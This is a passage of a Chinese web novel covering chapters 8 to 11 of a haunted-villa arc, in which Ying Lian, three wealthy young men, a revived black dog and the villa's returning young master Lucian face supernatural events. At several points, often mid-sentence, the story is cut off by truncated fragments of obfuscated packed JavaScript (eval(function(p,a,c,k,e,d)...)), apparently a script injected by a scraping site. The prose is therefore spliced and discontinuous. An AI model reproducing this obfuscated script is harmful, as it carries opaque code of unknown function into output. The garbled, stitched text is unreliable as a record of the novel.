;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她问这件事的理由很简单,艾布纳关心她,她也要关心回去,她以为艾布纳是因为罗珀和卡特的态度不好才不开心,因此她想去了解原因。 心里想是一回事,和艾布纳说又是另一回事。 应怜眨眨眼,目露真诚:“只是好奇。” “对不起,我下午……”艾布纳猛地顿住。 ……太犯规了! 被应怜这样盯着看,艾布纳差点就把自己趁着应怜睡着偷亲偷抱的事全交代了。 这样欲盖弥彰反而让应怜更加好奇。 她凑得更近,离艾布纳的距离也越来越近,她不知道这样的距离艾布纳甚至能看清她微肿的唇角。 “我下午……”有一瞬间他甚至忘了自己在危机四伏的别墅,他的眼眸垂着,似乎被应怜吸走了全部的注意力和思想,只有愧疚,“下午做了让你讨厌的事。” 应该是让卡特和罗珀讨厌的事吧,和她没有关系。应怜在心里擅自补充。 “那时候,你在我身边睡着了。我忍不住想靠近你,想……”就在艾布纳快把自己的一切交代干净的时候。 门外传来了让应怜毛骨悚然的声音。 “汪!” 8. 诡谲别墅(8) 今天的门是关上的。 狗进不来,但门外的吠叫震耳欲聋。 应怜被吓得后退了几步,求助的目光看向身边的艾布纳。 “怎么办?”这句话应怜只朝艾布纳比了口型,没敢出声音,因为怕惊扰到外面的狗。 艾布纳没想到解决办法。但不论如何他都会保护好应怜,于是他安抚般地拍拍应怜纤弱的脊背,随后朝门口走去。 深夜,狗叫。 一切都和昨天出奇相似。 艾布纳轻声开口:“昨天那只狗的尸体被我们扔出去了。”像是喃喃自语,也像是在对应怜说。 外面暴风雪肆虐。 外面的狗究竟是又一只新狗,还是昨天死了的狗,艾布纳不敢去细想。 听完艾布纳的话,应怜有种奇怪的熟悉感。 她梦到过黑狗还魂,隐约记得梦里的狗是从门口进来的。 另一边,在门口的艾布纳原本不打算开门,直到门外的狗忍无可忍地撞击大门。 “咚!” 谁也不知道一只狗为什么会有这么大的力气,门肉眼可见地向里凹了一下。 艾布纳的脸色瞬间变得非常难看。 如果大门被破坏,他们会先被涌进来的暴风雪掩埋,最后所有人窒息而死,等到那时也不必在意别墅到底发生什么了。 于是艾布纳迅速做了判断,不能再放任黑狗继续撞门了。 三。他在心里倒数。 门外又是一次猛烈的撞击,这次艾布纳听到了金属门板的震颤。 二。艾布纳要做到一击毙命。 外面的狗向雪地里后撤几步,像是要做助跑。 一! 霎时间,门外的狗和艾布纳同时行动! 狗直直向前冲去,丝毫不在意坚硬的大门会不会把自己的头撞碎。 艾布纳猛地拉开门,就算有心理准备,但在看清楚门外是什么东西后他还是忍不住皱起眉。 那是一条昨天刚死去的狗。 但还没等应怜看清,黑色的狗就如同一道闪电冲向了她! 只是一眨眼的功夫,它就已经逼近了应怜。 艾布纳心头一紧。 这条黑狗完全脱离了艾布纳的预判,他以为这条狗会优先攻击门口的人,他以为应怜在里面是安全的,他原定的射杀路线全部失去意义。 即便计划出错,但艾布纳反应依旧迅速地拔枪指向黑狗。 黑狗就在他和应怜中间。 只要黑狗躲开这枚子弹,子弹就会穿过应怜的身体,炸出大片血花。 应怜可能会死。 只要想到有百分之一的这种可能,他就浑身发冷。 艾布纳从没有过这么无力的一刻。 可如果一直不行动,应怜就会被冲上来的黑狗撕碎。 那应怜一定会死。 意识到这件事后他已经无法再控制自己的身体,他本能将枪重新举起,面无表情的脸上深埋着迷茫和恐惧。 这是自成年后他就没拥有过的情绪。 原来有了在意的人后,他会变得如此狼狈。 他再没有时间乱想,瞄准黑狗—— 但就在扳机即将叩响的那一刻,他又一次停下了。 这次不是因为没有勇气。 只见原本该咬破应怜喉咙、撕扯她身体的黑狗,此刻正停在应怜身前不到一米的地方,高兴地吐着舌头,还在疯狂摇尾巴。 “艾布纳……?这是怎么回事?”应怜有些迷茫。 艾布纳同样百思不得其解。 他已经仔细观察过了,这就是昨天的那只狗。 为什么昨天差点杀死罗珀的狗现在正在讨好应怜? 不过细想一下,昨天的狗似乎只对罗珀有攻击欲望,不然凭黑狗的速度和力量,他不会让应怜毫发无伤地去找帮手。 艾布纳又回忆起了当时的情形。 当时被狗吓到的应怜不敢耽搁,跑到艾布纳门前。 艾布纳刚开门就看到她写满焦急又漂亮的脸蛋。 “艾布纳,有、有狗!” 他听到应怜用惊恐的嗓音对他说话,他看到应怜漂亮的黑色长发因为奔跑而微微散乱,他注意到应怜纤细白净的手指抓紧门框。这些只证明了一件事——他正在被应怜的存在吸引着,难以抗拒。 嗯。艾布纳当时冷静地想着。确实有狗。 那时候,他跟着应怜一起去找罗珀,看起来面无表情得很帅,事实上他已经被应怜香晕了。 再到现在。 罗珀和卡特正准备下楼。 卡特揉着眼睛,脑子刚被吵醒有点发懵,却还是本能去问:“发生了什么?应怜没事吧?” “刚刚是什么声音?”罗珀原本快睡着了,结果楼下的撞门声把他那点困意全被吵没了。他一边向楼下走,一边想看清下面到底发生了什么。 艾布纳没理他,不是不想理,是他也描述不清现在一楼到底发生了什么。 黑狗不顾一切闯入别墅,没攻击一个人,只为了见应怜? 等两人下楼,他们终于看清楚了在应怜身边的东西——那是一条黑狗,还是一条他们认识的黑狗。 和记忆中不同的是它拥有完好的四肢和头颅。 罗珀没来得及去想这条黑狗为什么还活着,手就下意识地去摸抢。 “让开!应怜!”他已经上了膛,脸色阴沉。 这些少爷平日里看着好相处,其实报复心极重,尤其是习惯掌控一切的罗珀。 他最讨厌自己被逼到无计可施,昨天这只狗就把他逼到了这种的地步,让他只能把性命交给去找艾布纳的应怜。 于是连带着,他对应怜的语气也算不上和善。 应怜愣住,看向已经贴到她脚边的黑狗,它的眼睛是纯黑的,抬头去看应怜的时候,眼睛还微微泛着水光,可怜无比。 只看这一幕,没人能想到这是昨天差点把罗珀撕成碎片的黑狗。 罗珀看得出她的犹豫,皱起了眉。 不可控的事出现了。 “让开,别让我说第三遍。”他彻底冷下了脸。 毫不留情的话语更是刺痛了应怜,应怜也蹙起好看的眉,站在黑狗身边犯难。 一时间,两人僵持。 卡特一脸懵,显然还没从黑狗复活的事回过神,但他还是本能去劝:“是不是有什么误会?” 没人理他。 最后还是艾布纳走上前对罗珀说:“从五分钟前开始,他就一直没有攻击意图。” 看似在向罗珀解释,其实是宣告了一个结果。 如果杀狗有意义,艾布纳早就杀了。但杀了这条狗,谁能保证明天他不会活着回来?它活着和“死去”都是隐患,只有敌在明和敌在暗的区别。 所以昨天黑狗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这些人从来没见过应怜对谁有这么好的脸色。 在他们身边,她好像一直没有真正放松过,就连艾布纳也只是得到过应怜一次的关心。 但黑狗却能在短短几分钟就得到应怜的特殊对待。 就因为它是毛茸茸吗?罗珀自以为理智地思考着,丝毫没注意到自己想到黑狗时除了不爽居然还有隐隐的嫉妒。 从刚刚应怜没听他的话远离黑狗,再到现在堂而皇之温柔对待这只陌生的狗,桩桩件件都让他无比恼火,可他也说不出自己恼火的原因。 仅仅是因为他觉得应怜应该什么都听他的吗? 可应怜凭什么要听他的?他们甚至连朋友都算不上。 艾布纳和卡特如果不听他的,他也会如此恼火吗?罗珀不知道。 这到底是为什么…… 原本还在思考的罗珀余光猛地瞥向也在看应怜的艾布纳和卡特,两个人只知道眼巴巴地望着应怜,就算羡慕也不敢打扰应怜摸狗。 他讽刺地笑了一下,两个蠢货。 ……啊。 罗珀突然想明白了什么,看看自己,又看看应怜。 原来他也是蠢货。 9. 诡谲别墅(9) 应怜第二天的梦成真了。 身边的黑狗活生生地趴在她身边就是证据。 那么其他的事也同样会发生吗? 比如欧莉娅会“活过来”盯着她看,比如小主人会回家拿枪对准她的脑袋。 但是,或许“复活”不是一件坏事呢?从昨晚到现在,黑狗一直没咬人,看起来只是一只普通到不能再普通的小狗。 她很想这样欺骗自己。 可梦里欧莉娅刀子般的视线已经表明了她对自己的敌意,仿佛应怜只要有一刻松懈,她就会毫不犹豫地杀死自己。 应怜有时候也挺希望自己是个瞎子的。 在应怜还没相通接下来会发生什么的时候,卡特和罗珀已经离开了。 临走前罗珀还凑到她耳边说了声对不起。 没有任何解释就离开了。 应怜猜测他是为刚刚恶劣的态度道歉,他没解释,应怜觉得自己也不需要表示接不接受他的道歉。 接下来的夜晚没有再发生奇怪的事情。 由于没有危险,应怜还被艾布纳要求睡了一会。 温暖的壁炉是唯一的光源,温暖而有安全感。黑狗没有睡觉,而是尽职尽责地在主人身边看守,应怜甚至有一瞬间觉得现在这一刻比白天还要安全。 艾布纳从楼上拿了毛毯。 应怜认出那是放在柜子里的那条她坐过的毯子。 “是你把毯子放在柜子里的吗?”应怜忽然想起来当时有点奇怪的地方,如果这条毯子小主人不想盖了,正常来说不是该放到被褥收纳的柜子里吗? 为什么出现在衣柜里? 他摇头,“屋里除了床,其他的我都没动过。” 在这件别墅里能彻底想清楚的事太少了,于是应怜也不再多想,她接过毯子把自己裹成粽子,和艾布纳说了句晚安就闭上眼了。 周围只有炉火噼啪作响的声音,不知不觉,应怜就在温暖的环境中睡着了。 她有预感,今晚会睡个好觉。 没有危险的时间过得很快。 艾布纳盯着应怜看了许久,直到看到应怜蹙紧的眉,他才意识到天亮了。 太过刺眼的光惊扰了少女,他急忙把隔光的窗帘拉住,又把拉窗帘的动作放得极轻,生怕再惹得应怜皱起眉。 黑狗在这一晚上也格外安静。 但他倒不是真成一只普通的狗了。在应怜睡觉的时候,它还会偶尔朝艾布纳这个外来者呲个牙。只不过比起攻击其他人,它更想守着应怜。 时间似乎被按了暂停键,现在温馨得让艾布纳几乎忘了别墅的危险。 他想了想,如果他以后和应怜同居了,他们也要住在交通不方便的别墅,这样几乎一辈子都不会遇见打搅他们的人。等天晴他们还能一起出门滑雪、看冻海,如果是像现在一样的暴风雪天,他们也可以在别墅里相拥而眠。 这些不切实际的幻想直到罗珀下楼才彻底被打断。 罗珀看着浅笑的艾布纳,心里一阵恶寒。但秉持着与人为善、关心发小的原则,他还是礼貌问道:“你脑子还好吗?为什么笑得这么恶心。” “……唔。”沙发上原本睡得正香的人发出将醒的嘤咛。 此时的罗珀一边承受着艾布纳杀人的目光,一边僵在原地。没等到艾布纳的回复算了,居然还把应怜给吵醒了。 等下,他不是昨晚刚道过歉吗?谁能告诉他为什么今天又有新的歉可以道了。 应怜揉了揉眼,有些艰难地坐起身。 她抬头原本想看窗外天亮没亮,结果只看到了漂亮的、隔光极好的窗帘,没办法,应怜就退而求其次地看向钟表。 十点二十。 差不多睡了七个小时,睡眠充足,并且一夜好梦。 今天是第三天,不算今天还有两天这个副本就可以结束了。 脑子清醒一点的应怜看向四周,这一扫刚好看到了罗珀。 她在原地犹豫了一会,还是决定主动开口:“罗珀?” ! 被点到名的罗珀缓慢抬起头,脸色凝重且紧张。 这份不对劲当然也被应怜收入眼底,她下意识朝最坏的方向考虑,难道她才刚睡了一个好觉,就又有新情况了? 应怜目露担忧,“出什么事了吗?” “没有。”他咳嗽一下,努力抑制住发了疯一般狂跳的心脏,“对不起,刚刚把你吵醒了,可以原谅我吗?” 原来道歉只有零次和无数次。 只要开过一次口,第二次根本连心理准备都不用做,他流畅地道了歉 应怜刚想摇摇头说没关系。 “咚——” 身后不知道什么时候把饭做好的艾布纳重重地把餐盘放在餐桌上,声音平静得好像摔盘子的不是他:“应怜,饭做好了。” 罗珀被艾布纳打断,不爽地皱起眉。 从昨天开始他们两个就很不对付,这次更是把“打搅”这两个字摆在了明面上。 但应怜没看出二人的火花,她只是一个会准时早起准时吃饭的小女孩,不懂两个男人的弯弯绕绕,所以应了一下后就乖乖去吃饭了。 他们两个都看互相不顺眼,几乎要上升到矛盾难以调和的地步,但直到应怜动叉子的那一刻,两个人的注意力不约而同地转移了过去。 应怜吃相很好,这件事罗珀和艾布纳昨天早上就发现了。 昨天因为种种原因他们两个偷看得还比较隐晦,今天直接就不装了,如果不是桌子拦着这两个人绝对会贴到应怜脸上看。 他们是看爽了,被迫当吃播的应怜本人却有种难以言喻的羞耻感。 原本她还努力吃几口,没过一会她就彻底吃不下去了,红着脸把碗向前一推,“我不吃了。” 罗珀下意识皱眉。 “还剩这么多就不吃了,怎么吃这么少?” 艾布纳也不赞同地看向应怜,“你昨天早饭吃的比今天多。” 一般来说应怜是个不爱浪费食物的好孩子,可现在不是一般情况。她红着脸,忍无可忍地开口:“你们一直盯着我看,我吃不下。” 顿时,两人都沉默了。 也不知道是不是警告起了作用,接下来两个人终于老实了一点,不再打扰用心吃饭的应怜,坐到沙发上开始商量正事。 应怜试探性地把碗挪回来,两个人没有回头,她这才继续安心吃饭。 她的咀嚼声很小,两位少爷也只是偶尔有猜测了说几句,没想着能聊出什么花来。 这些人都是有钱人家的少爷,虽然家里基本是正规合理的产业,但不代表一点都不了解这些非法贩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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有线索的罗珀和艾布纳对视一眼,艾布纳也顺着应怜的话讲下去:“当时我们在的屋子是一件手术室,再加上应怜说男人面容扭曲痛苦,极有可能是在这件手术室被取走器官的受害者。可问题在于‘人脸’为什么只吓应怜。” 甚至还特意避开了他。 罗珀瞥了眼趴在地上正在小憩的狗,“它是这家的狗吧?” 不然也没有理由解释黑狗和尸甲虫一样,都有一定程度的“变异”,一定是这个别墅有什么不一样,才导致这里的生物都不太平常。 “狗不排斥应怜,反而排斥我们。说明应怜大概被当作别墅主人的其中一员对待了。”罗珀皱着眉分析,他从没想过自己能用客观理性的方式去解释这间房子为什么会闹鬼,“既然原主人剖了他的内脏,他会理所当然地认为新来的主人也不是什么好东西,最后怨恨新来的主人。或者还有一种可能……人脸直接把应怜认成了之前的主人。” 应怜被他们分析得一愣一愣的。 诡异中透露着合理,并且她还想不到可以反驳的点。 艾布纳同样没有异议。 眼看两件事都说完了,他们的进度又回到了应怜问的问题上。 “所以,卡特在检查,那我们三个接下来该做什么?”艾布纳问。 10. 诡谲别墅(10) 接下来该做什么。 应怜也报以疑问的目光看向罗珀。 “嗯……”罗珀沉思片刻,朝一个方向看去,“其实我还有一个猜测。昨天我从二楼没找到加尔,下到一楼时发现的。” 艾布纳顺着罗珀的视线看,目光最终停留在楼梯上。 这是一把木质的楼梯,贯穿了一共三楼的设计,结实简约,但也因为建造年份过于久远,扶手上还能看到几个被虫子啃食出来的黑洞。 金玉其表,败絮其中。 不只这间楼梯,也是这幢别墅。 “楼梯?”艾布纳表情有些不确定,一个所有人的必经之地,这两天上下走动他并没有发现有什么问题。 罗珀递过去一个看蠢货的眼神,“有件事没和你们说,昨天我找过一楼了。但当时找加尔比较重要。” 失踪的人越早找,存活的概率越大。 在这种极端环境下也不例外。 他干脆走到楼梯旁,这里什么都没放,空旷的区域和温馨的客厅形成鲜明对比。 应怜也看向他所在的空地。 紧接着,罗珀蹲下身,敲了敲楼梯旁的地板,再走回去,敲了敲他们身下的地板。 只是一个动作,两人立刻理解了。 应怜小时候贪玩的时候喜欢敲墙玩,身旁的妈妈曾笑着为她科普,敲上去更沉闷的墙就更厚实,可能是承重墙,而敲起来更清脆的墙多半是空心墙。 罗珀敲得两次声音对比,几乎坐实了楼梯旁边的地板是空心的。 “下面……有空间?”她讷讷问出声。 罗珀思考片刻,“极有可能。” 可虽然知道了地下有密室,但地面严丝合缝,想撬开绝对不可能。 怎么找到密室的开关成了他们三个现在该做的事。 “开关可能在一楼,二三楼也不排除可能。”罗珀瞥了眼艾布纳,“你昨天去过三楼,熟悉一个环境反而容易略过线索,所以今天我去三楼,你去二楼,应怜在一楼,她的狗会保护她。” 狗会保护应怜这件事,艾布纳知道得比罗珀更清楚。 昨晚黑狗寸步不离地守着应怜,直到应怜醒了才肯趴着小憩。 不过说来也奇怪,死而复生的狗真的还有睡眠需求吗?毕竟它从昨晚到现在,除了应怜喂它食物时动了动,其他时候更像是……在扮演一只狗。 或许它并不需要食物,不需要排泄,更不需要睡觉。 思及此,艾布纳接受了罗珀的分配。 随后他又朝应怜嘱咐了注意安全,遇到危险就尖叫才离开了一楼。 很快,一楼就只剩下了应怜一个人。 她后知后觉地意识到周围安静得可怕。昨晚有艾布纳守着,那份安静才会显得温馨,可是一旦只剩她一个人,一模一样的场景也会变得不同。 黑狗如同能感知到她情绪一般起身朝她走来,抬头看着应怜。 “汪。”她听到这只普通的小狗叫了一声,好像在对她说不要怕。 罗珀和艾布纳的猜测没有错,小狗会照顾好它的主人。 应怜摸了摸小狗的脑袋,似乎这样就能从温热的生命中汲取到勇气,她深吸一口气,最后毅然决然地起身去找线索。 一楼能搜查的东西很少,但应怜也不敢松懈。 她先去了厨房里摁了所有能开的开关,甚至冰箱门都开合了几次。 无事发生。 应怜也不气馁。 她就是怕万一新手副本的解密会比较简单呢。 刚想完,应怜似乎听到系统的轻笑声,可是那比风声还小,她也搞不清楚自己是不是听错了。 搜查完厨房后的应怜走向大厅的画前。这幅画她有印象,来到副本的第一个夜晚她见过。 这幅画的摆放位置不高,因此应怜看得很清楚。 田野、天空、牧羊人,一幅向往自由的画作。应怜能看得出来这位画家是带着向往画出来的。 明明画技很好,但应怜总觉得有种违和感。 她想要看得更仔细一点,于是她在白天开了客厅的灯,拉住了隔光极好的窗帘。 这窗帘是今早才被艾布纳第一次拉上。 等应怜再回头去看画作,猛地失去了全身的力气。 第二次看,那已经不再是绿色的田野了。 田野不再是田野,那不再是一条条挺立漂亮的牧草,反而歪歪扭扭,更像是水草;绿色不再是绿色,那是一种妖异的荧光蓝绿;牧羊人不再是牧羊人,他的脸变得狰狞丑陋;天空也不再是天蓝色,而是一种惨白。 整幅画作都透着不详和诡异。 可她还是强忍着恐惧和对那个牧羊人的不适,努力去观察这幅新画。 天是惨白的,或许有些人也喜欢把天空画成白色,可这幅画的天不是一片白,反而是一个点一个点蘸上去的,就像窗外密密麻麻的雪花。 应怜看的时候,难以自抑地感受到一股无力感。 天空只是飘起小雪的时候,大家只会觉得雪景很美。而如果是几乎没有任何缝隙的雪花朝人砸来,大家则会下意识地停止呼吸。 唯一和原画相同的地方,是应怜感受到的向往。 于是,她问。 「这个画家,从来没见过田野吗?」 系统看着有进展的任务条,顿了片刻,回答:「是。」 应怜皱着眉思考,系统的认可也代表了一件事,这幅画和主线有关,三位主人里是谁没见过外面的世界,从生下来就只认识白色的雪花? 这几乎是可以立刻给出答案的。 ——小主人。 他的年纪最小,但他的父母已经中年,他们年轻的时候极有可能见过外面的世界,而不是一开始就定居在雪山。 应怜思考完后,急忙把窗帘打开。 再回头,那幅画果然变回到了原来的样子,她默默松了一口气,同时也暗暗发誓,以后再守夜绝对不能让艾布纳关窗帘。 虽说搜查到了线索,可找地下室开关的事还要进行,她忍着恐惧看向那幅画作,最终闭着眼把画拿了下来。 “啪嗒——” 有什么放在画框后的东西顺着掉了下来。 应怜本能睁开眼去看。 那是一个本,由于是掉下来的,刚好摔开到有字迹的一页。 字迹可爱,上面用红色的蜡笔写着——你看到我的画了。 这幢别墅有东西在监视她。这是应怜最后的想法。 即便应怜再想去找开关,接二连三的惊吓已经让她彻底无法思考,双腿发软到连站都站不起来。她只能抱着身边的黑狗,祈求艾布纳和罗珀能快点回来。 等待希望的时间很漫长。 她将黑狗越抱越紧,把头死死地埋进黑狗有些扎人的毛里,生怕再抬头看到什么不该看的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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和在三楼的时候一样,应怜没有受到任何□□伤害,可是她还是怕得不能动。黑狗和他都可以保护应怜的安全,可唯独无计可施的是恐惧对应怜的摧残。 他低声安抚:“没事了,都没事了,我会一直陪着你。” 而紧跟艾布纳下楼的罗珀视线则是紧盯门口。 房门紧闭,规律的敲门声听久了反而让人莫名焦虑。 应怜是因为这敲门声害怕了吗? 罗珀走近门口,和昨天的艾布纳有了同样的想法。不开门,谁能保证外面的东西不会破坏大门,又或者从其他地方进入呢? 于是他做好决定,拿起枪,一把打开门。 一阵冷风灌入,他下意识眯了眯眼。 接着,一个穿着黑色风衣的男人抖了抖身上的风雪,面无表情地走了进来。 有呼吸,是人类。 有了这个判断的罗珀这才敢继续观察来人。 黑发黑瞳、五官优越的特征让罗珀立刻辨认出这就是长大的小主人,只是不知道为什么他现在并非全家福上的金发碧瞳。 男人没理会守在门口的罗珀,他瞥了眼地上的本,又看向惊慌未定的应怜。 “那是我小时候乱涂乱画的本,吓到你了吗?” 他沉默许久,终于想好了对应怜说的开场白。 11.诡谲别墅(11) 应怜很明显地抖了一下。 她知道刚来的男人是在对她说话,但她不敢回复。 反而是黑狗不赞同地盯着男人看,甚至还汪了两声。 “路易斯。”他敛眉,似乎不理解为什么他的狗会忤逆他。 被叫到名字的狗不再朝男人叫,反而夹起尾巴呜咽几声,躲到了应怜身后。 黑狗在新主人和旧主人之间的选择已经很明显了。 男人失去了他的狗。 最弱小的应怜反而是路易斯的安全感来源。 应怜愣住,一时间没反应过来。 她也可以保护别人吗?这对应怜来说就像是一件不可能的事。 但就这样轻易地被小狗认可了。 她不知道怎么形容这种感觉,除了忐忑,担心自己辜负小狗的期待之外,居然还有一丝难以察觉的开心。 眼看狗和小主人僵持在这,最后还是罗珀先朝男人开口:“你是别墅的主人吧?我们因为路过风雪,被困在山上,不得已借住了你的别墅。实在抱歉。” “嗯。”男人的话很少,“路西安﹒阿尔卡特。” 报完名字,他再次看向那只背弃旧主的狗,他的语气平淡中隐藏着危险:“路易斯,过来。” 毫无悬念,路易斯还是没有过来,在应怜的身后躲得更深了,仿佛要把自己缩成一个小团。 它在惧怕这个主人。 应怜也不知道哪来的勇气,明明自己也吓得跪坐在地上,却抬头主动和路西安对视,声音颤抖但坚定:“路西安少爷,您的狗是昨天回来的,可能在外面吓坏了……” 考量着人物性格,就算是陌生的别墅男人她也尊称了一声少爷。 “呵。” 所有人都听到路西安的笑声。 夹杂着讽刺和不屑。 不过这份不屑不是针对应怜的,而是针对那句话——这只狗会被暴风雪吓坏。 但他始终没有像应怜的梦一样掏出枪,这个改变不由得让应怜放松了一点。 她和梦里不一样,在梦里她几乎不敢看这位小主人,可是现在的她甚至会给黑狗找不亲原主人的借口了。 或许欧莉娅的事也会被改变呢? 应怜满怀期冀地想着。 路西安扫了一圈周围的人,“只有你们三个?” “不。”罗珀回答,“二楼还有一个人,他正在休息。”显然见惯了大世面的罗珀比较镇定,眼睛都不眨地撒了谎。 “好。”路西安看起来似乎不是很在意他们到底是四个人还是三个人,他只说:“可以让你们继续借住,不过有个条件。” 罗珀问:“是什么?” 路西安指向门口,他进来的时候没关门,似乎早就想好了这件事,“门口的尸体是你们的同伴吗?太碍眼了,丢远点。” 三人都看向外面,脸色都有不同程度的变化。 只见外面风雪交加,原本黑狗来的时候还能看到眼睛的欧莉娅,现在已经被埋得看不到一丝痕迹。 路西安才刚回来,他是怎么知道底下有具被埋住的尸体的? 罗珀突然开始反省自己的判断的失误。 有呼吸就是正常人吗? 这条有名字的黑狗难道不会呼吸吗?它还不是死而复生了。 “……好。”罗珀脸色不算好看地应下,看了眼艾布纳,“等卡特下楼我们先把门口的雪铲了。” 艾布纳点头。 此时,又是一阵急促的脚步声。 “我查到了!”卡特急急忙忙地往楼下赶,“太恶心了!那些虫子真的吃了尸体。” 一瞬间,罗珀的谎言不攻自破。 在场的人脸色更不好看了,除了路西安,他正表情自然地坐在沙发上。 仿佛什么也没听到一般。 卡特到了一楼后,原本还在疑惑为什么没人理他,看了一圈四周,目光最终落在了路西安身上。 他也终于意识到自己闯祸了。 “……怎么办?”他朝罗珀比口型道。 私闯人家的住宅本来就够不礼貌的了,现在居然还调查人家家。他们会不会直接被路西安扔出去都很难说。 罗珀根本没空看他的口型,脑子疯狂想着有没有什么合理的借口能解释卡特说的这句话。 应怜也不知道怎么办,目光看向了身边最近的艾布纳。 因为说好了要一直守着应怜直到她不再害怕,他就站在应怜身边没动过位置。 察觉到应怜视线的艾布纳低了下头,他说:“站起来坐一会吧,地上太凉了。”丝毫没有想挽救局面的意思。 说完,他朝应怜伸出了手。 应怜笑容勉强地摆摆手,“我不是这个意思。” 随后艾布纳点点头,看似理解了应怜的真正意图,实则手上的动作直接从伸手变成了把应怜拦腰公主抱起。 “艾布纳!”应怜小声惊呼,似乎没想到他能理解成这样,“你快放我下来……”她脸都要羞红了。 由于沙发路西安在坐,他就把应怜抱到了吃饭坐的餐桌椅上。 等彻底把应怜安稳放下之后,艾布纳这才问:“是这样吗?” 应怜嗫嚅了一会儿,发现她又不能当着路西安的面说她希望艾布纳帮着解释一下卡特的事,只能闷闷地说了句谢谢。 艾布纳不懂,可不代表罗珀不懂。 他朝艾布纳翻了个白眼,“白痴。” 以前为了塑料发小情他都忍在心里,这次是真骂出声了。 路西安一手支着头,双腿交叠,饶有兴致地看着这一切,他问卡特,“你就是那个他们在楼上休息的同伴吧。” 他没有追究罗珀的欺骗,反而贴心地提醒了现在的卡特应该是刚睡完觉的状态。 “是、是啊……哈哈,睡晕了乱说话,让你见笑了。”他一时之间想不到合理的解释,于是只能干笑着略过这个话题。 “嗯。”路西安也没有继续盘问的意思,他只是看着应怜和艾布纳有趣的互动,问:“他们是情侣吗?” “啊?” 一个问题给卡特问住了,他迷茫地回想了一下,刚刚艾布纳公主抱的行为确实很像情侣之间会做的事。 卡特摇头,“没有,他们只是朋友。”语气里还带着几分不易察觉的醋味。 路西安听完,没发表任何意见,只是眸子里浓厚的兴趣无法减退。 等他们聊完,罗珀似乎终于无法忍受这两个脑子不好用的发小,他朝艾布纳说:“既然卡特下来了,那我们先把尸体抬走吧。” “好。” “哦……好。”卡特虽然不明白他们为什么要把尸体挪走,把谁的尸体挪走,可眼下这个节骨眼明显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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而对“应怜”,其实她完全可以不再和这些少爷小姐来往,这些人可能也没兴趣管一个佣人的离开,但她没有。或许在她心里,她真的只是迟钝到以为她和少爷小姐们成了朋友。 除了朋友,再没有其他可能。 路西安得到了和卡特说过的一模一样的回答。 但他无法理解应怜深层次的含义,他只是简单地理解了朋友可以拥抱,而他现在对应怜来说只是陌生人。 外面三个干苦力的大男人脸都冻红了,但他们行动很快,不一会就把黑得看不出来是谁的尸体剖了出来。 暴风雪的世界太过危险,商量之后他们还是决定三个人一起去。 艾布纳是三个人里最想早点回别墅的,离开之前他问罗珀:“五分钟能结束吗?”他实在放心不下应怜一个人在别墅。 罗珀欲言又止,最终缓缓憋出来一句:“你疯了?” 但卡特显然更了解自己这位不善言辞且略显耿直的发小,他拍拍罗珀的肩,示意不用每次都理这个蠢货。 艾布纳完全没意识到自己的恋爱脑行为已经到了人嫌狗憎的地步。 因为他心里只想着应怜。 暴风雪肆虐的环境里,艾布纳抬头看向漫无边际的飞雪,一个名字无声地被念出,又无声地消失在风雪中。 如同他永远无法实现的奢望。